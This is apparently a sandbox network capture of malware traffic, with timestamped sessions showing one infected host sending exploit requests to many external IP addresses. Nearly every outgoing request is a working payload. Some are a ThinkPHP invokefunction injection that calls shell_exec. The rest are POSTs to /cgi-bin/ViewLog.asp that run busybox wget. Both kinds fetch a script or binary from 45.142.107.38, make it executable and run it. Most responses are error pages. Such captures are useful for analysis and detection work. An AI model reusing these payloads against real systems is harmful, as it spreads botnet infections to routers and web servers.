Mar 4, 2024 15:08:00.886945009 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:19.318881035 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:54.134896994 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
515	192.168.2.13	36376	95.100.245.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:43.969857931 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:44.222096920 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:07:44 GMT Date: Mon, 04 Mar 2024 14:07:44 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 31 61 37 62 35 63 26 23 34 36 3b 31 37 30 39 35 36 31 32 36 34 26 23 34 36 3b 34 33 64 37 66 33 38 30 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.e1a7b5c.1709561264.43d7f380</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
516	192.168.2.13	59034	95.86.100.159	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:43.975301981 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
517	192.168.2.13	51678	112.171.246.138	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:47.534352064 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:47.812841892 CET	163	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
518	192.168.2.13	44946	95.80.182.200	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:47.796616077 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
519	192.168.2.13	52966	88.198.117.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:48.421576977 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:49.334935904 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:49.507513046 CET	435	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:49 GMT Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
520	192.168.2.13	57576	31.136.44.236	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:48.426179886 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:51.670918941 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:57.814941883 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:09.847568035 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:35.702841043 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
521	192.168.2.13	39616	88.100.238.26	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:48.432106018 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:48.621540070 CET	101	IN	HTTP/1.1 404 Not Found Content-type: text/html Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
522	192.168.2.13	36406	95.100.245.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:48.500030041 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:48.755263090 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:48 GMT Date: Mon, 04 Mar 2024 14:07:48 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 34 31 61 37 62 35 63 26 23 34 36 3b 31 37 30 39 35 36 31 32 36 38 26 23 34 36 3b 32 39 62 64 32 34 35 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.241a7b5c.1709561268.29bd2454</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
523	192.168.2.13	57960	62.152.54.45	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:49.443464041 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:49.649379015 CET	536	IN	HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="Webserver", charset="UTF-8" Content-Type: text/html Content-Length: 351 Date: Mon, 04 Mar 2024 14:07:49 GMT Server: webserv Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 31 20 2d 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 31 20 2d 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 68 31 3e 0a 20 Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>401 - Unauthorized</title> </head> <body> <h1>401 - Unauthorized</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
524	192.168.2.13	34426	94.123.53.211	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:49.454519987 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
525	192.168.2.13	49368	62.29.34.208	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:49.454885006 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
526	192.168.2.13	37530	94.228.123.50	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:49.652334929 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:49.996018887 CET	442	IN	HTTP/1.1 404 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Disposition: inline;filename=f.txt Content-Type: application/json Transfer-Encoding: chunked Date: Mon, 04 Mar 2024 14:07:49 GMT Keep-Alive: timeout=60 Connection: keep-alive Data Raw: 38 31 0d 0a 7b 0a 20 20 22 74 69 6d 65 73 74 61 6d 70 22 20 3a 20 22 32 30 32 34 2d 30 33 2d 30 34 54 31 34 3a 30 37 3a 34 39 2e 38 38 39 2b 30 30 3a 30 30 22 2c 0a 20 20 22 73 74 61 74 75 73 22 20 3a 20 34 30 34 2c 0a 20 20 22 65 72 72 6f 72 22 20 3a 20 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 0a 20 20 22 70 61 74 68 22 20 3a 20 22 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 0a 7d 0d 0a Data Ascii: 81{ "timestamp" : "2024-03-04T14:07:49.889+00:00", "status" : 404, "error" : "Not Found", "path" : "/cgi-bin/ViewLog.asp"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
527	192.168.2.13	57478	62.221.86.194	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:50.667093039 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:51.734981060 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:51.940289021 CET	224	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
528	192.168.2.13	37494	94.120.245.212	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:50.668947935 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:54.742997885 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:00.886979103 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:12.918920994 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
